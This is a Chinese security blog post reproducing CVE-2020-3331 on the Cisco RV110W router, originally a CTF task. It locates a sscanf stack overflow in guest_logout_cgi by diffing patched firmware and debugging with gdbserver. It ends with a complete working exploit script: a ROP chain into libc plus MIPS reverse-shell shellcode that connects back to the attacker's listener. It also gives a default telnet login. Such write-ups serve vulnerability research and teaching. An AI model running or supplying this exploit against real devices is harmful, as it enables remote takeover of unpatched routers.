freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2020-3331漏洞复现
2022-03-03 10:47:16
所属地 广东省

前言

这是2020年QWB的RW赛题——思科RV110W路由器

关于题目信息如下:

1646275239_62202aa76346ba96c2356.png!small?1646275241525

要求对cisco RV110W 完成远程命令执行

漏洞点寻找

如果想全方位的了解路由器的整体服务的路由器代码框架可以看一看官方的源码或者文档1646275260_62202abca74ba03018ebf.png!small?1646275264050
由于笔者英语不是很好就找了一篇分析文章进行观看。 常见嵌入式Web服务器CGI处理功能简要分析站在漏洞复现的角度,我们可以下载补丁过后的固件查看补丁的内容,从而确定漏洞点,方便我们分析。1646275274_62202acaa25c1b7fb2731.png!small?1646275275622

官网找到版本之后发现1.2.2.5之后就只有1.2.2.8,下载下来

通过IDA Bindiff分析1646275285_62202ad5dc46089b87c4e.png!small?1646275288335

通过分析DIff结果发现,改动较大的几个函数中发现比较可疑的有三个函数分别为SetWLSSIDCmd,guest_logout_cgi,SetWLWDSCMD这三个函数其中SetWLSSIDCmd,SetWLWDSCMD这两个函数是共性问题,system函数的参数是通过这两个函数的参数控制的,如下图:1646275300_62202ae4820d9b2a683a1.png!small?1646275303167

如上图所示,这两个函数都是用到了system函数并且都在1.2.2.8版本中把system函数进行了删除,并且system函数的参数是通过SetWLSSIDCmd(),SetWLWDSCMD()这两个函数本身的参数控制的,只是通过交叉引用没用找到函数的调用地方,所以我们的重点放在guest_lot_cgi函数模块:

1646275316_62202af4a917d39398a01.png!small?1646275319864


在guest_logout_cgi模块中也就是用户登出模块中把当中的scanf函数删掉换成了strncpy函数,sscanf函数是危险函数如果参数可控可能会造成溢出结果。我们通过IDA伪C代码对比查看scanf原格式化参数是什么,如下图所示:左边是1.2.2.5版本,右边是1.2.2.8版本

1646275332_62202b04b9919e776a0ad.png!small?1646275335220


首先我们要了解sscanf的使用方法。

1646275347_62202b138051b83819201.png!small?1646275348575

通过格式化说明我们的得知是将v11分成两部分给v36,v35具体如下:

v11="aaaa;name=keer\n";
sscanf(v11, "%[^;];%*[^=]=%[^\n]", v36, v35);
v36="aaaa";
v35="keer";

题目的原函数代码如下:

int __fastcall guest_logout_cgi(int a1)
{
const char *v1; // $v0
int cgi; // $s0
char *i; // $s0
int v4; // $v1
const char *v5; // $s3
const char *v6; // $v0
int v7; // $s0
char *j; // $s0
int v9; // $v1
const char *v10; // $s2
const char *v11; // $s4
FILE *v12; // $v0
FILE *v13; // $s0
FILE *v14; // $v0
FILE *v15; // $s0
char *v17; // $v0
int v18; // $a1
char *v19; // $a2
FILE *v20; // $v0
int v21; // $a1
int v22; // $a2
FILE *v23; // $s0
const char *v24; // $v0
int v25; // $s1
const char *v26; // $v0
int v27; // $a1
int v28; // $a2
FILE *v29; // $v0
FILE *v30; // $s0
const char *v31; // $a0
FILE *v32; // $v0
FILE *v33; // $s0
int v34[5]; // [sp+28h] [-98h] BYREF
char v35[64]; // [sp+3Ch] [-84h] BYREF
char v36[68]; // [sp+7Ch] [-44h] BYREF

cgi = get_cgi("cmac");
v1 = (const char *)get_cgi("cmac");
for ( i = (char *)(cgi + strlen(v1) - 1); get_cgi("cmac") < (unsigned int)i; *i-- = 0 )
{
v4 = *i;
if ( v4 != 10 && v4 != 13 && v4 != 32 )
break;
}
v5 = (const char *)get_cgi("cmac");
v7 = get_cgi("cip");
v6 = (const char *)get_cgi("cip");
for ( j = (char *)(v7 + strlen(v6) - 1); get_cgi("cip") < (unsigned int)j; *j-- = 0 )
{
v9 = *j;
if ( v9 != 10 && v9 != 13 && v9 != 32 )
break;
}
v10 = (const char *)get_cgi("cip");
v11 = (const char *)get_cgi("submit_button");
if ( !v11 )
v11 = "";
if ( v5 && v10 )
{
memset(v36, 0, 0x40u);
memset(v35, 0, sizeof(v35));
v12 = fopen("/dev/console", "w");
v13 = v12;
if ( v12 )
{
fprintf(v12, "\n mac=[%s], ip=[%s], submit_button=[%s]\n", v5, v10, v11);
fclose(v13);
}
if ( VERIFY_MAC_17(v5) && VERIFY_IPv4(v10) )
{
v17 = strstr(v11, "status_guestnet.asp");
v19 = v36;
if ( !v17 )
goto LABEL_31;
sscanf(v11, "%[^;];%*[^=]=%[^\n]", v36, v35);
v20 = fopen("/dev/console", "w");
v23 = v20;
if ( v20 )
{
fprintf(
v20,
"\n%s(%d),submit_button = [%s] url=[%s], session_id=[%s]\n",
"guest_logout_cgi",
5449,
v11,
v36,
v35);
fclose(v23);
}
v24 = (const char *)nvram_get("session_key", v21, v22);
if ( !v24 || (v25 = 1, strcmp(v24, v35)) )
{
LABEL_31:
v26 = (const char *)nvram_get("http_client_mac", v18, v19);
if ( v26 && strcmp(v26, v5)
|| (v31 = (const char *)nvram_get("http_client_ip", v27, v28)) != 0 && strcmp(v31, v10) )
{
v29 = fopen("/dev/console", "w");
v30 = v29;
if ( v29 )
{
fprintf(
v29,
"\n%s(%d) Drop session, ip and mac invmatch,mac=[%s], ip=[%s], submit_button=[%s]\n",
"guest_logout_cgi",
5457,
v5,
v10,
v11);
fclose(v30);
}
goto LABEL_35;
}
v25 = 0;
}
syslog(6, "The mac is %s and IP is %s of guest network user logout.", v5, v10);
if ( debug )
{
v32 = fopen("/dev/console", "w");
v33 = v32;
if ( v32 )
{
fprintf(v32, "%s(): \n mac=[%s], ip=[%s], submit_button=[%s]\n", "guest_logout_cgi", v5, v10, v11);
fclose(v33);
}
}
v34[0] = (int)"/sbin/cron_gn";
v34[1] = (int)&byte_485FE4;
v34[2] = (int)v5;
v34[3] = (int)v10;
v34[4] = 0;
eval(v34, ">/dev/console", 0, 0);
if ( v25 && !strcmp(v36, "status_guestnet.asp") )
{
LABEL_36:
if ( strlen(v36) < 6 )
do_ej(v11, a1);
else
do_ej(v36, a1);
return 0;
}
LABEL_35:
if ( strcmp(v11, "login_guest.asp") )
return 0;
goto LABEL_36;
}
v14 = fopen("/dev/console", "w");
v15 = v14;
if ( v14 )
{
fprintf(
v14,
"\n%s(%d) Drop session,VALID_FAIL, mac=[%s], ip=[%s], submit_button=[%s]\n",
"guest_logout_cgi",
5442,
v5,
v10,
v11);
fclose(v15);
}
}
return 0;
}

我们可以看到v11是通过cgi应用的get_cgi函数得到的

v11 = (const char *)get_cgi("submit_button");

int __fastcall get_cgi(int a1)
{
int result; // $v0
int v2[4]; // [sp+20h] [-10h] BYREF

result = dword_4D8090;
if ( dword_4D8090 )
{
v2[1] = a1;
hsearch_r(a1, v2[2], 0, v2, &dword_4D8090);
result = v2[0];
if ( v2[0] )
return *(_DWORD *)(v2[0] + 4);
}
return result;
}

可以看的出来get_cgi函数是用来获取哈希表里数据的函数,这个表单是程序处理post参数时完成设定的。也就是说v11的值也就是geust_logout.cgi的post 参数对照的内容,我们可以通过设定它的值,造成栈溢出漏洞,进行利用。

漏洞利用

准备调试环境

首先准备调试工具,把和自己自己编译好的mips gdbserver上传到路由器上。

已经编译好的gdbserver

首先查看本机的IP地址

1646275382_62202b368c7cda559f8bb.png!small?1646275383147

然后我们在本机上搭建一个简单的python web服务器

python -m SimpleHTTPServe

1646275392_62202b4023b5d05526af9.png!small?1646275393593

使用telnet远程连接到路由器上用户:admin, 密码Admin123,然后再把gdbserver下载到路由器的tmp目录下

1646275402_62202b4a4248a1c79b0c9.png!small?1646275405165

1646275414_62202b5674847b0b38eb3.png!small?1646275414892

开始调试

查看httpd的pid 并且用gdbserver附加上去

chmod +x gdbserver
./gdbserver :1234 --attach 348
Attached; pid = 348
Listening on port 1234
Remote debugging from host 192.168.1.100

本机上远程连接

gdb-multiarch -q ../squashfs-root/usr/sbin/httpd \
-ex "target remote 192.168.1.1:1234" \
-ex "b *0x431bb4" \
-ex "b *0x431bb8" \
-ex "b *0x431B34" \
-ex "c"

用测试脚本伪造好post 参数submit_button 进行调试,并且断在sscanf函数附近和函数返回处

import requests
import argparse
from pwn import *

payload = "status_guestnet.aspa" +"a"*0x100
url = "https://192.168.1.1/guest_logout.cgi"
burp0_headers = {"Connection": "close",
"Content-Type": "application/x-www-form-urlencoded"}
burp0_data = {"cmac": "00:01:02:03:04:05",
"cip": "192.168.1.100",
"submit_button": payload}
requests.post(url, headers=burp0_headers, data=burp0_data, verify=False, timeout=5)

1646275450_62202b7aca44a1c213b5f.png!small?1646275455758

运行到函数返回

1646275463_62202b870634299f5183c.png!small?1646275466197

1646275475_62202b933471e062e3391.png!small?1646275477972

可以算出偏移为0x55,我们可以观察寄存器信息 并且利用 IDA mipsrop插件去寻找gadget,利用寄存器上的栈地址并且在栈上写上shellcode,并且跳转上去。

由于程序上的地址为0x00xxxxxx有'\x00'截断,所以不能用程序的gadget所以我们把目标指向libc。因为在实际运行中并没有PIE,所以说 libc的基址不变只需要gdb调试抓取即可。

1646275489_62202ba1b0d316c097cb0.png!small?1646275496717

因此libc_base=0x2af98000,然后我们讲libc拖入ida利用mipsrop找到gadget,在找到反弹shell的gadget构建payload即可

.text:00431B34                 lw     $ra, 0xC0+var_s24($sp)
.text:00431B38                 lw     $fp, 0xC0+var_s20($sp)
.text:00431B3C                 lw     $s7, 0xC0+var_s1C($sp)
.text:00431B40                 lw     $s6, 0xC0+var_s18($sp)
.text:00431B44                 lw     $s5, 0xC0+var_s14($sp)
.text:00431B48                 lw     $s4, 0xC0+var_s10($sp)
.text:00431B4C                 lw     $s3, 0xC0+var_sC($sp)
.text:00431B50                 lw     $s2, 0xC0+var_s8($sp)
.text:00431B54                 lw     $s1, 0xC0+var_s4($sp)
.text:00431B58                 lw     $s0, 0xC0+var_s0($sp)
.text:00431B5C                 move   $v0, $zero
.text:00431B60                 jr     $ra

1646275511_62202bb71521f7333b10d.png!small?1646275515858

我们可以通过函数结尾的汇编代码去设置 ra(返回地址)和s0~$s7等寄存器,来实现来回跳转我们发现程序返回的时候后只有 sp寄存器上有stack的地址,所以我们要利用sp去设置其他寄存器在libc找到了下面的一条rop来设置a0寄存器,然后再跳转到a0寄存器上就可以实现shellcode的执行1646275539_62202bd338222db0a8466.png!small?1646275541877


shellcode可以在http://shell-storm.org/shellcode/直接找到

利用脚本

from pwn import *
import thread,requests
port=0x1337
ip='192.168.1.100'
ip_list=ip.split('.')
io=listen(port)
libc=0x2af98000
mv_a0_sp=0x000257A0+libc
jmp_a0 =0x0003D050+libc
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01"
stg3_SC += p16(port-0x100)[1:]+p16(port-0x100)[:1]
stg3_SC += "\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
stg3_SC += "\xf8\xff\xa5\xaf"
stg3_SC += p8(int(ip_list[2]))+p8(int(ip_list[3]))
stg3_SC += "\x05\x3c"
stg3_SC += p8(int(ip_list[0]))+p8(int(ip_list[1]))
stg3_SC += "\xa5\x34\xfc\xff\xa5\xaf"
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"

payload = "status_guestnet.asp"+"a"*0x31+p32(jmp_a0)+"a"*0x20+p32(mv_a0_sp)+'b'*0x18+stg3_SC

url = "https://192.168.1.1/guest_logout.cgi"
burp0_data = {"cmac": "12:22:22:33:44:55",
"submit_button":payload,
"cip": "192.168.1.1"}
def attack():
try: requests.post(url, data=burp0_data, verify=False,timeout=1)
except: pass

thread.start_new_thread(attack,())
io.wait_for_connection()

io.interactive()

利用结果

1646275571_62202bf3c22834bd356a2.png!small?1646275573309

参考链接

[1] https://www.jianshu.com/p/a2e9b6029a57

[2]https://gitee.com/h4lo1/HatLab_Tools_Library/tree/master/%E9%9D%99%E6%80%81%E7%BC%96%E8%AF%91%E8%B0%83%E8%AF%95%E7%A8%8B%E5%BA%8F

[3] https://blog.csdn.net/YouTheFreedom/article/details/120362103

[4] https://blog.51cto.com/yang/4244030#sscanf_81

[5] https://xy2401.com/local-docs/gnu/manual.zh/libc/Hash-Search-Function.html

[6] https://github.com/Larryxi/Larryxi.github.io/blob/master/_posts/2020-02-03-iot-web-server-cgi-handler-analysis.md

[7] https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/

# CVE-2020-3331
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录